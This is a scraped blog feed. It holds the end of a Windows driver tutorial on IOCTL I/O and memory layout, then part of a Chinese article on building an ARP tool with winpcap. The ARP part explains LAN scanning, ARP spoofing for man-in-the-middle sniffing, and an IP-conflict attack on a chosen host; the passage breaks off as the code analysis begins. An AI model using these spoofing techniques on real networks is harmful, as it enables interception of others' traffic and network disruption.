<p>This is a very simple implementation.</p>
<div class=SmallText id=premain7 style="WIDTH: 100%"><img id=preimg7 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="7"><span id=precollapse7 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="7"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="7"> Copy Code</a></div>
<pre id=pre7 style="MARGIN-TOP: 0px">        ZeroMemory(szTemp, <span class=code-keyword>sizeof</span>(szTemp));
DeviceIoControl(hFile,
IOCTL_EXAMPLE_SAMPLE_DIRECT_IN_IO,
<span class=code-string>"</span><span class=code-string>** Hello from User Mode Direct IN I/O"</span>,
<span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>** Hello from User Mode Direct IN I/O"</span>),
szTemp,
<span class=code-keyword>sizeof</span>(szTemp),
&amp;dwReturn,
NULL);
printf(szTemp);
printf(<span class=code-string>"</span><span class=code-string>\n"</span>);
ZeroMemory(szTemp, <span class=code-keyword>sizeof</span>(szTemp));
DeviceIoControl(hFile,
IOCTL_EXAMPLE_SAMPLE_DIRECT_OUT_IO,
<span class=code-string>"</span><span class=code-string>** Hello from User Mode Direct OUT I/O"</span>,
<span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>** Hello from User Mode Direct OUT I/O"</span>),
szTemp,
<span class=code-keyword>sizeof</span>(szTemp),
&amp;dwReturn,
NULL);
printf(szTemp);
printf(<span class=code-string>"</span><span class=code-string>\n"</span>);
ZeroMemory(szTemp, <span class=code-keyword>sizeof</span>(szTemp));
DeviceIoControl(hFile,
IOCTL_EXAMPLE_SAMPLE_BUFFERED_IO,
<span class=code-string>"</span><span class=code-string>** Hello from User Mode Buffered I/O"</span>,
<span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>** Hello from User Mode Buffered I/O"</span>),
szTemp,
<span class=code-keyword>sizeof</span>(szTemp),
&amp;dwReturn,
NULL);
printf(szTemp);
printf(<span class=code-string>"</span><span class=code-string>\n"</span>);
ZeroMemory(szTemp, <span class=code-keyword>sizeof</span>(szTemp));
DeviceIoControl(hFile,
IOCTL_EXAMPLE_SAMPLE_NEITHER_IO,
<span class=code-string>"</span><span class=code-string>** Hello from User Mode Neither I/O"</span>,
<span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>** Hello from User Mode Neither I/O"</span>),
szTemp,
<span class=code-keyword>sizeof</span>(szTemp),
&amp;dwReturn,
NULL);
printf(szTemp);
printf(<span class=code-string>"</span><span class=code-string>\n"</span>);</pre>
<h2>System Memory Layout</h2>
<p>This is probably a good time to look at how Windows memory layout looks. To show how this works, we need to first show how Intel processors implement Virtual Memory. I will explain the general implementation as there are a few variations of how this can be implemented. This is basically called the �Virtual Address Translation�. The following is an excerpt from another document that I have been writing on debugging.</p>
<h3>Virtual Address Translation</h3>
<p>All segment registers become �selectors� in protected mode. To get more familiar with how the x86 operates, we will go over the paging mechanism as an overview and not in detail. This is not a systems programming guide.</p>
<p>There are other registers in the CPU which point to �descriptor tables�. These tables define certain system attributes which we will not go into detail. Instead, we will discuss the process of converting a �virtual� address into a physical address. The descriptor table can define an offset which is then added to the virtual address. If paging is not enabled, once you add these two addresses, you get the physical address. If paging is enabled, you get instead a �linear� address which is then converted to a physical address using page tables.</p>
<p><img height=458 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev2/descriptors.JPG" width=600></p>
<p>There is a paging mechanism that is called �Page Address Extensions� which was originally introduced in the Pentium Pro. This mechanism allows Page Tables to reference up to 36 bit addresses. However, offsets are still 32 bit, so while you can access Physical Ram up to 36 bits, you can only access 4 GB at a time without reloading the page tables. This paging mechanism is not what we will be discussing here, but it is very similar.</p>
<p><img height=626 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev2/pagetables.JPG" width=600></p>
<p>The normal 32 bit paging is done using the following. There is a CPU register that points to the base of the Page Directory Table, called CR3. The diagram below displays how the paging mechanism works. Notice that the location of the physical page does not need to be linear with the virtual address or even with the previous page table entry. The blue lines are involved in the example translation and the black lines are further examples of how the page tables could be setup.</p>
<p>The �Page Directory Table� has entries which each point to a structure of �Page Table Entries�. The entries in the �Page Table Entry� point to the beginning of a page in the physical RAM. While Windows and most other Operating Systems use 4k pages, the CPU actually can support 4k and 2MB pages.</p>
<p>The entire process can be listed in the following steps if the pages are defined as 4k.</p>
<ol>
    <li>The selector points to the Descriptor Table Entry.
    <li>The Descript Table Entry �base offset� is added to the offset of the virtual address creating a linear address.
    <li>Bits 31-22 of the Linear Address index into the �Page Directory Table� pointed to by CR3.
    <li>The entry in the �Page Directory Table� points to the base of a �Page Entry Table� which is then indexed by the bits 21 � 12 indexed into this table to retrieve a �Page Table Entry�.
    <li>The �Page Table Entry� aside from containing information about whether the address is paged to disk points to the base location of the page in Physical Memory.
    <li>The remaining bits of the Linear Address, bits 11 � 0 are added to the start of the physical page to create the final physical address. </li>
</ol>
<h3>Windows Implementation</h3>
<p>If you generally ignore the implementation of the descriptor tables, the address translation should be quite simple to follow. The address is just divided into sections which help index into memory tables that eventually point to the location of a physical page. The last index simply indexes into that physical page.</p>
<p>Windows implements essentially three separate layers of virtual address ranges. The first would be the user-mode addresses. These addresses are essentially unique per-process. That is, each process will have its own memory addresses in this range. Of course, there are optimizations such as different page tables pointing to the same physical memory location in order to share code and not duplicate memory that is essentially static.</p>
<p>The second range of addresses would be those in the session space. If you have used �Fast User Switching� or �Terminal Services�, you know that each user essentially gets their own desktop. There are certain drivers which run in what is called �Session Space� which is memory that is unique per-session. In this memory are things like the display driver, <em>win32k.sys</em> and some printer drivers. This is one reason why Windows does not span sessions, i.e., you cannot do �<code>FindWindow</code>� and see a window on another user�s desktop.</p>
<p>The last is the range of addresses known as �System Space�. This is memory that is shared throughout the entire system and accessible anywhere. This is where our driver lies and where most drivers lie.</p>
<p><img height=357 alt="Sample image" src="http://www.codeproject.com/KB/system/driverdev2/memorymap.JPG" width=600></p>
<p>So, what happens? Every time a thread is switched, CR3 is reloaded with the appropriate pointer which points to the page tables accessible by that thread. The implementation is that each process has its own page directory pointer and it�s loaded into CR3. This is essentially how Windows isolates each process from one another, they all have their own directory pointer. This directory pointer is implemented in a way that processes in the same session map the same session space, and all processes on the system map system memory. The only memory ranges implemented unique per-process is essentially the user mode address ranges.</p>
<h3>The /PAE Switch</h3>
<p>This is called "Physical Address Extensions". It basically means the OS can map 36 bit physical memory into 32 bits. This doesn't mean that you can access &gt; 4 GB of memory at the same time, it means that higher memory addresses can be mapped into 32 bits which means the process can access it. This also means that the OS could use this ability to use machines with &gt; 4 GB of physical memory. So while one process may not access &gt; 4 GB, the OS can manage the memory in a way that it can keep more pages in memory at the same time.</p>
<p>There are also special APIs that an application can use to manage memory itself and use &gt; 4GB of memory. These are called "AWE" or Address Windows Extensions. You can find more information on these at this URL: <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/memory/base/address_windowing_extensions.asp" target=_blank>MSDN</a>.</p>
<h3>The /3GB Switch</h3>
<p>There is a switch that you may have heard about and it�s called the /3GB switch. This essentially allows user mode to have 3 GB of address space. Normally, the 4 GB range is divided into two. There is 2 GB of address space for user mode and 2 GB of address space for kernel mode. This essentially means that user mode addresses do not have the high bit (bit 31) set while kernel mode addresses have bit 31 set. This means that 0x78000000 is a user mode address while 0x82000000 is a kernel mode address. Setting the /3GB switch will then allow user mode processes to maintain more memory but the kernel will have less memory. There are upsides and downsides to this.</p>
<p>The general upsides of doing this are as follows:</p>
<ol>
    <li>Applications requiring a lot of memory will be able to function better if they know to take advantage of this. There would be less swapping to and from disk if they are using user mode memory to cache data. </li>
</ol>
<p>The general downsides of doing this are as follows:</p>
<ol>
    <li>There is not much available kernel mode memory so applications or operations that essentially require a lot of kernel memory will not be able to perform.
    <li>Applications and drivers that check the high bit (bit 31) and use this to determine kernel mode memory versus user mode memory will not function properly. </li>
</ol>
<h2>Conclusion</h2>
<p>In this article, we have learned a bit more about communications with user mode processes. We learned how to implement the <code>ReadFile</code> and <code>DeviceIoControl</code> APIs. We also learned about completing IRPs and returning status to user mode. We also learned about creating IOCTLs, and finally, we saw how memory is mapped in Windows.</p>
<p>In the next article, we may be using this information we just learned to implement something a little more fun, communications between two processes using the driver!</p>
<!-- Main Page Contents End -->
<form id=aspnetForm style="PADDING-RIGHT: 0px; PADDING-LEFT: 0px; PADDING-BOTTOM: 0px; MARGIN: 0px; PADDING-TOP: 0px" name=aspnetForm action=displayarticle.aspx method=post>
    <div><input id=__VIEWSTATE type=hidden value=/wEPDwUKMTAyMTMzODg1Ng9kFgJmD2QWBAILD2QWBgIDDw8WAh4HVmlzaWJsZWdkZAIJDw8WAh8AZ2RkAgwPDxYCHwBnZGQCDA9kFgoCBw9kFg4CAQ9kFgJmDxYCHgtfIUl0ZW1Db3VudGZkAgMPZBYKZg8PFgIeC05hdmlnYXRlVXJsBSgvS0Ivc3lzdGVtL2RyaXZlcmRldjIuYXNweD9kaXNwbGF5PVByaW50ZGQCAQ8PFgIfAgUlL3NjcmlwdC9BcnRpY2xlcy9SZXBvcnQuYXNweD9haWQ9OTU3NWRkAgIPDxYCHwBoZGQCAw8PFgIfAGhkZAIFDw8WAh8CBTAvc2NyaXB0L2NvbW1vbi9UZWxsRnJpZW5kLmFzcHg/b2J0aWQ9MiZvYmlkPTk1NzVkZAIFD2QWBAIBD2QWAgIBDw8WAh4EVGV4dAUaODcgdm90ZXMgZm9yIHRoaXMgQXJ0aWNsZS5kZAIHD2QWAmYPZBYEAgEPDxYEHwMFEFBvcHVsYXJpdHk6IDkuMzMfAgUpL3NjcmlwdC9BcnRpY2xlcy9Ub3BBcnRpY2xlcy5hc3B4P3RhX3NvPTFkZAIFDxYCHwMFHFJhdGluZzogPGI+NC44MTwvYj4gb3V0IG9mIDVkAhkPZBYKAgEPZBYEAgEPFgIeCWlubmVyaHRtbAWxAjxwPlRoaXMgYXJ0aWNsZSBoYXMgbm8gZXhwbGljaXQgbGljZW5zZSBhdHRhY2hlZCB0byBpdCBidXQgbWF5IGNvbnRhaW4gdXNhZ2UgdGVybXMgaW4gdGhlIGFydGljbGUgdGV4dCBvciB0aGUgZG93bmxvYWQgZmlsZXMgdGhlbXNlbHZlcy4gSWYgaW4gZG91YnQgcGxlYXNlIGNvbnRhY3QgdGhlIGF1dGhvciB2aWEgdGhlIGRpc2N1c3Npb24gYm9hcmQgYmVsb3cuPC9wPjxwPkEgbGlzdCBvZiBsaWNlbnNlcyBhdXRob3JzIG1pZ2h0IHVzZSBjYW4gYmUgZm91bmQgPGEgaHJlZj0iL2luZm8vTGljZW5zZXMuYXNweCI+aGVyZTwvYT48L3A+ZAICD2QWAgIBDxBkZBYAZAIFDxYCHwECAWQCBw8WAh8DBdcHPGgyPk90aGVyIHBvcHVsYXIgSGFyZHdhcmUgJiBTeXN0ZW0gYXJ0aWNsZXM6PC9oMj48dWw+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0veHludHNlcnZpY2UuYXNweCI+U3RhcnQgWW91ciBXaW5kb3dzIFByb2dyYW1zIEZyb20gQW4gTlQgU2VydmljZTwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPk1ha2UgeW91ciBNRkMsIFZCIGFuZCBvdGhlciBXaW5kb3dzIHByb2dyYW1zIGJlaGF2ZSBsaWtlIE5UIHNlcnZpY2VzLjwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vc2VyaWFsLmFzcHgiPlNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5BIGhpZ2gtcGVyZm9ybWFuY2UsIGNvbXBsZXRlIGFuZCBjb21wYWN0IHNlcmlhbCBsaWJyYXJ5IGZvciBDKys8L2Rpdj48L2xpPjxsaT48YSBocmVmPSIvS0Ivc3lzdGVtL2RyaXZlcmRldi5hc3B4Ij5Ecml2ZXIgRGV2ZWxvcG1lbnQgUGFydCAxOiBJbnRyb2R1Y3Rpb24gdG8gRHJpdmVyczwvYT48ZGl2IGNsYXNzPSJTbWFsbFRleHQiPlRoaXMgYXJ0aWNsZSB3aWxsIGdvIGludG8gdGhlIGJhc2ljcyBvZiBjcmVhdGluZyBhIHNpbXBsZSBkcml2ZXIuPC9kaXY+PC9saT48bGk+PGEgaHJlZj0iL0tCL3N5c3RlbS9ob29rc3lzLmFzcHgiPkFQSSBob29raW5nIHJldmVhbGVkPC9hPjxkaXYgY2xhc3M9IlNtYWxsVGV4dCI+VGhlIGFydGljbGUgZGVtb25zdHJhdGVzIGhvdyB0byBidWlsZCBhIHVzZXIgbW9kZSBXaW4zMiBBUEkgc3B5aW5nIHN5c3RlbTwvZGl2PjwvbGk+PGxpPjxhIGhyZWY9Ii9LQi9zeXN0ZW0vTm9EZWxldGVEZWxheS5hc3B4Ij5FbGltaW5hdGluZyBFeHBsb3JlcidzIGRlbGF5IHdoZW4gZGVsZXRpbmcgYW4gaW4tdXNlIGZpbGU8L2E+PGRpdiBjbGFzcz0iU21hbGxUZXh0Ij5Ib3cgdG8gdHJhY2sgZG93biBhbmQgcGF0Y2ggYW4gYW5ub3lhbmNlIGluIFdpbmRvd3MgRXhwbG9yZXIncyBjb2RlLjwvZGl2PjwvbGk+PC91bD5kAgkPDxYCHwBnZGQCDQ9kFgJmD2QWAgIBD2QWAmYPZBYCAgkPFgIfAGgWAgIBDxBkZBYAZAIbDw8WAh8AZ2RkAh0PDxYCHwBnZGQCJQ8WAh8AaGQCCw8PFgIfAgUmL3NjcmlwdC9BcnRpY2xlcy9BcnRpY2xlLmFzcHg/YWlkPTk1NzVkZAIRDxYCHwMFCjUgTWFyIDIwMDVkAhMPDxYEHwMFDlNtaXRoYSBWaWpheWFuHwIFJi9zY3JpcHQvTWVtYmVyc2hpcC9WaWV3LmFzcHg/bWlkPTI4OTcwZGQCFQ8WAh8DBR9Db3B5cmlnaHQgMjAwNSBieSBUb2J5IE9wZmVybWFuZGTHbNplfvWZ37BqHQdwcFRs/0+HEg== name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
    <p>This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.</p>
    <p>A list of licenses authors might use can be found <a href="http://www.codeproject.com/info/Licenses.aspx">here</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79636.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:00 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79636.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 1: Introduction to Drivers</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79635.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 14:57:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79635.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79635.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79635.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79635.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79635.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 转自http://www.codeproject.com/KB/system/driverdev.aspx    Download source files - 10.4 Kb IntroductionThis tutorial will attempt to describe how to write a simple device driver for Windows NT...&nbsp;&nbsp;<a href='http://www.cppblog.com/iniwf/archive/2009/04/11/79635.html'>阅读全文</a><img src ="http://www.cppblog.com/iniwf/aggbug/79635.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 22:57 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79635.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>详谈调用winpcap驱动写arp多功能工具</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 08:28:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79595.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79595.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79595.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79595.html</trackback:ping><description><![CDATA[转自<a href="http://www.vckbase.com/document/viewdoc/?id=649">http://www.vckbase.com/document/viewdoc/?id=649</a><br><br>
<p align=center><strong>详谈调用winpcap驱动写arp多功能工具</strong><br>作者：<a href="http://www.vckbase.com/document/viewdoc/TOo2y@safechina.net"><u><font color=#0000ff>TOo2y</font></u></a> </p>
<p><a href="http://www.vckbase.com/document/viewdoc/?id=649#A1"><font color=#800080><u>一 winpcap驱动简介</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A2"><font color=#800080><u>二 Packet.dll相关数据结构及函数</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A3"><font color=#800080><u>三 T-ARP功能及原理介绍</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A4"><font color=#800080><u>四 T-ARP主要代码分析</u></font></a><br><a href="http://www.vckbase.com/document/viewdoc/?id=649#A5"><u><font color=#800080>五 T-ARP源代码</font></u></a><br><br><u><font color=#800080><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14></font></u><a name=A1></a> <strong>一、winpcap驱动简介</strong><br><br>winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。<br>(编者注：WinpCap开发包可以到以下两个网址下载: (1)<a href="http://winpcap.polito.it/" target=_blank><u><font color=#0000ff>http://winpcap.polito.it/</font></u></a> , (2)<a href="http://www.vckbase.com/tools" target=_blank><u><font color=#0000ff>VC知识库工具栏目</font></u></a> )<br><br>开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。它提供了以下的各项功能：<br>1&gt; 捕获原始数据报，包括在共享网络上各主机发送/接收的以及相互之间交换的数据报；<br>2&gt; 在数据报发往应用程序之前，按照自定义的规则将某些特殊的数据报过滤掉；<br>3&gt; 在网络上发送原始的数据报；<br>4&gt; 收集网络通信过程中的统计信息。</p>
<p>winpcap的主要功能在于独立于主机协议（如TCP-IP)而发送和接收原始数据报。也就是说，winpcap不能阻塞，过滤或控制其他应用程序数据报的发收，它仅仅只是监听共享网络上传送的数据报。因此，它不能用于QoS调度程序或个人防火墙。</p>
<p>目前，winpcap开发的主要对象是windows NT/2000/XP，这主要是因为在使用winpcap的用户中只有一小部分是仅使用windows 95/98/Me，并且M$也已经放弃了对win9x的开发。因此本文相关的程序T-ARP也是面向NT/2000/XP用户的。其实winpcap中的面向9x系统的概念和NT系统的非常相似，只是在某些实现上有点差异，比如说9x只支持ANSI编码，而NT系统则提倡使用Unicode编码。</p>
<p>本文讨论的是packet.dll所提供的各种函数，因为它们完全可以实现本文所希望的各项要求。但是如果你有其他特别的或更高级的要求，winpcap也提供了另一个动态连接库wpcap.dll。虽然wpcap.dll依靠于packet.dll,但是它却提供了一种更简单，直接，有力的方法来更好的利用编程环境。比如捕获一个数据报，创建一个数据报过滤装置或将监听到的数据报转存到某个文件等，wpcap.dll都会为你提供更加安全的实现方法。</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A2 name=A2></a> 二、Packet.dll相关数据结构及函数</strong> <br><br>本文的目的之一在于介绍如何利用winpcap驱动写ARP工具，因此有必要介绍一些相关的数据结构和函数，要不然看着一行行代码和函数，也许会有些不知所云。</p>
<p>首先介绍一些相关的数据结构：<br>1. typedef struct _ADAPTER ADAPTER //描述一个网络适配器；<br>2. typedef struct _PACKET PACKET //描述一组网络数据报的结构；<br>3. typedef struct NetType NetType //描述网络类型的数据结构；<br>4. typedef struct npf_if_addr npf_if_addr //描述一个网络适配器的ip地址；<br>5. struct bpf_hdr //数据报头部；<br>6. struct bpf_stat //当前捕获数据报的统计信息。</p>
<p>下面，将介绍T-ARP用到的各个函数，他们都是在packet.dll中定义的：<br>1&gt; LPPACKET PacketAllocatePacket(void)<br>如果运行成功，返回一个_PACKET结构的指针，否则返回NULL。成功返回的结果将会传送到PacketReceivePacket()函数，接收来自驱动的网络数据报。</p>
<p>2&gt; VOID PacketCloseAdapter(LPADAPTER lpAdapter)<br>关闭参数中提供的网络适配器，释放相关的ADAPTER结构。</p>
<p>3&gt; VOID PacketFreePacket(LPPACKET lpPacket)<br>释放参数提供的_PACKET结构。</p>
<p>4&gt; BOOLEAN PacketGetAdapterNames(LPSTR pStr,PULONG BufferSize)<br>返回可以得到的网络适配器列表及描述。</p>
<p>5&gt; BOOLEAN PacketGetNetInfoEx(LPTSTR AdapterNames,npf_ip_addr *buff, PLONG NEntries)<br>返回某个网络适配器的全面地址信息。<br>其中npf_ip_addr结构包含：IPAddress,SubnetMask,Broadcast<br>IPAddress: ip地址<br>SubnetMask: 子网掩码<br>Broadcast: 广播地址</p>
<p>6&gt; BOOLEAN PacketGetNetType(LPADAPTER AdapterObject, NetType *type)<br>返回某个网络适配器的MAC类型。<br>NetType结构里包含了LinkSpeed(速度）和LinkType(类型）。其中LinkType包含以下几种情况：<br>NdisMedium802_3: Ethernet(802.3)<br>NdisMediumWan: WAN<br>NdisMedium802_5: Token Ring(802.5)<br>NdisMediumFddi: FDDI<br>NdisMediumAtm: ATM<br>NdisMediumArcnet878_2: ARCNET(878.2)</p>
<p>7&gt; BOOLEAN PacketGetStats(LPADAPTER AdapterObject,struct bpf_stat *s)<br>返回几个关于当前捕获报告的统计信息。<br>其中bpf_stat结构包含：bs_recv, bs_drop,ps_ifdrop,bs_capt<br>bs_recv: 从网络适配器开始捕获数据报开始所接收到的所有数据报的数目，包括丢失的数据报；<br>bs_drop: 丢失的数据报数目。在驱动缓冲区已经满时，就会发生数据报丢失的情况。</p>
<p>8&gt; PCHAR PacketGetVersion()<br>返回关于dll的版本信息。</p>
<p>9&gt; VOID PacketInitPacket(LPPACKET lpPacket, PVOID Buffer, UINT Length)<br>初始化一个_PACKET结构。</p>
<p>10&gt; LPADAPTER PacketOpetAdapter(LPTSTR AdapterName)<br>打开一个网络适配器。</p>
<p>11&gt; BOOLEAN PacketReceivePacket(LPADAPTER AdapterObject,LPPACKET lpPacket,BOOLEAN Sync)<br>从NPF驱动程序读取网络数据报及统计信息。<br>数据报编码结构： |bpf_hdr|data|Padding|bpf_hdr|data|Padding|</p>
<p>12&gt; BOOLEAN PacketSendPacket(LPADAPTER AdapterObject,LPPACKET lpPacket, BOOLEAN Sync)<br>发送一个或多个数据报的副本。</p>
<p>13&gt; BOOLEAN PacketSetBuff(LPADAPTER AdapterObject,int dim)<br>设置捕获数据报的内核级缓冲区大小。</p>
<p>14&gt; BOOLEAN PacketSetHwFilter(LPADAPTER AdapterObject,ULONG Filter)<br>为接收到的数据报设置硬件过滤规则。<br>以下为一些典型的过滤规则：<br>NDIS_PACKET_TYPE_PROMISCUOUS: 设置为混杂模式，接收所有流过的数据报；<br>NDIS_PACKET_TYPE_DIRECTED: 只有目的地为本地主机网络适配器的数据报才会被接收；<br>NDIS_PACKET_TYPE_BROADCAST: 只有广播数据报才会被接收；<br>NDIS_PACKET_TYPE_MULTICAST: 只有与本地主机网络适配器相对应的多播数据报才会被接收；<br>NDIS_PACKET_TYPE_ALL_MULTICAST: 所有多播数据报均被接收；<br>NDIS_PACKET_TYPE_ALL_LOCAL: 所有本地数据报均被接收。</p>
<p>15&gt; BOOLEAN PacketSetNumWrites(LPADAPTER AdapterObject,int nwrites)<br>设置调用PacketSendPacket()函数发送一个数据报副本所重复的次数。</p>
<p>16&gt; BOOLEAN PacketSetReadTimeout(LPADAPTER AdapterObject,int timeout)<br>设置在接收到一个数据报后&#8220;休息&#8221;的时间。<br><br>以上就是T-ARP所调用的各个函数，它包含了packet.dll里的大部分函数。如果你想更深层的了解winpcap,请访问相关网站，主页地址： http://winpcap.polito.it</p>
<p><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A3 name=A3></a> 三、T-ARP功能及原理介绍</strong><br><br><strong>准备工作：</strong> <br>1. 安装winpcap驱动，目前最新的版本为winpcap_3.0_alpha, 稳定版本为winpcap_2.3；<br>2. 使用ARP欺骗功能前，必须启动ip路由功能，修改(添加)注册表选项：<br>　　 　　HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\IPEnableRouter = 0x1　</p>
<p><strong>选项: </strong><br>-m 主机扫描，获得局域网内指定ip段中存活主机的ip地址和mac地址；<br>-a 反嗅探扫描，获得局域网内指定ip段中嗅探主机的ip地址和mac地址；<br>-s ARP欺骗，欺骗局域网内指定的两台主机，使其相互发送接收的数据报均通过本地主机；<br>网络嗅探，如果你选择欺骗的两台主机均是本地主机，那么将会监听到所有流过本地主机的数据报；<br>IP冲突，如果你选择欺骗的两台主机是同一台非本地主机，那么就会发起ip冲突攻击；<br>-r 重置被欺骗主机，使被欺骗的两台主机恢复正常的工作状态。</p>
<p><strong>原理及实现过程：</strong><br>无论什么选项，第一件事就是获得本地主机的mac地址及相关网络设置。我们以一个特殊的ip地址(112.112.112.112)向本地主机发送一个ARP Request(ARP请求)数据报，当本地主机接收到后，就会发送一个ARP Reply(ARP应答)数据报来回应请求，这样我们就可以获得本地主机的mac地址了。至于相关的网络设置可以通过PacketGetNetInfoEx()和PacketGetNetType()获得。</p>
<p>-m 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送广播(ff:ff:ff:ff:ff:ff)ARP Request数据报，存活的主机就会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。因为在很多网关上都对ARP Request做了限制--非内网ip发送的ARP Request数据报不会得到网关的回应，如果你用内网的其他某台主机的ip来发送ARP Request数据报，如果填写的mac地址和相应的ip不合，就会出现ip冲突。所以最好还是用自己的ip和mac地址来发送请求。</p>
<p>-a 以本地主机的名义(本地主机的ip和mac)向指定ip网段内的所有主机发送31位伪广播地址(ff:ff:ff:ff:ff:fe)的ARP Request数据报，只有正在嗅探的主机才会发送ARP Reply数据报，这样就可以获得当前存活主机的列表。嗅探中的win2000系统还会对16位伪广播地址(ff:ff:00:00:00:00)做出回应；而嗅探中的win95/98/me不仅会回应16位伪广播地址，而且也会回应8位伪广播地址(ff:00:00:00:00:00)，而*NIX系统对各种广播地址所做出的反应却有些不同。在此我们选择31位伪广播地址，是因为绝大多数的系统在嗅探时都会对它做出回应。而正常状况下的各种系统，都不会对31位伪广播地址做出回应。</p>
<p>-s (ARP欺骗spoof) 需要强调的是在某些局域网(如以太网)内，数据报的发送与接收是基于硬件地址的，这是我们实现欺骗的基础。首先获得指定的两台主机(假设为 A 和 B)的mac地址，然后向A发送ARP Reply数据报，其中的源ip地址为B的ip地址，但是源mac地址却是本地主机的mac地址，这样主机A就会认为主机B的mac地址是本地主机的mac地址，所以主机A发送到主机B的数据报都发送到本地主机了。同理向主机B发送ARP Reply数据报，通知它主机A的mac地址为本地主机的mac地址。这样主机A和主机B就会把目的主机的mac地址理解为本地主机的mac地址，于是他们之间相互发送的数据报都首先到达了本地主机，而先前我们已经将本地主机设置了ip路由功能，系统会自动将数据报转发到真正的目的主机。其间，你就可以监听它们通信的各种数据报了。</p>
<p>-s (网络嗅探sniff) 如果指定的两个目的主机均为本地主机，那么就只是将网络适配器设置为混杂模式，这样就可以监听到流过本地主机网络适配器的各种数据。</p>
<p>-s (ip冲突shock） 如果你选择欺骗的两台主机是同一台非本地主机(假如是主机C)，那么就会不断地向主机C发送ARP Reply数据报，报文中的源ip地址就是主机C的ip地址，但是源mac地址却是本地主机的mac地址，因此主机C就会发现有另一台主机同时拥有和自己相同的ip，这就是ip冲突攻击。如果是非xp系统,都会跳出一个ip冲突的提示窗口，而xp系统也会有类似的警告。但是请注意，在主机C的系统事件查看器中，会留下本地主机的mac地址与之冲突的恶心记录，所以你最好不要滥用这个功能。</p>
<p>-r 在实现了ARP欺骗的情况下，向主机A和B发送ARP Reply数据报，通知主机A(B)注意主机B(A)的mac地址为主机B(A)自己的mac地址，这样主机A和B就会更新他们的ARP缓存，实现正常的数据通信。<br><br><strong><img height=16 src="http://www.vckbase.com/document/image/paragraph.gif" width=14><a id=A4 name=A4></a> 四、T-ARP主要代码分析</strong><br><br><strong>1&gt; 自定义函数：</strong><br>int getmine() //发送ARP Request数据报，请求获得本地主机的mac地址；<br>void getdata(LPPACKET lp,int op) //分类处理接收到的数据报；<br>DWORD WINAPI sniff(LPVOID no) //将网络适配器设置为混杂模式，接收所有流过的数据报；<br>DWORD WINAPI sendMASR(LPVOID no) //发送ARP Request数据报，请求获得指定ip的mac地址；<br>DWORD WINAPI sendSR(LPVOID no) //发送ARP Reply进行ARP欺骗，或是更新主机的ARP缓存。</p>
<p><strong>2&gt; 主要代码分析</strong><br>printf("\nLibarary Version: %s",PacketGetVersion()); //输出dll的版本信息；</p>
<p>PacketGetAdapterNames((char *)adaptername,&amp;adapterlength) //获得本地主机的网络适配器列表和描述；</p>
<p>lpadapter=PacketOpenAdapter(adapterlist[open-1]); //打开指定的网络适配器；</p>
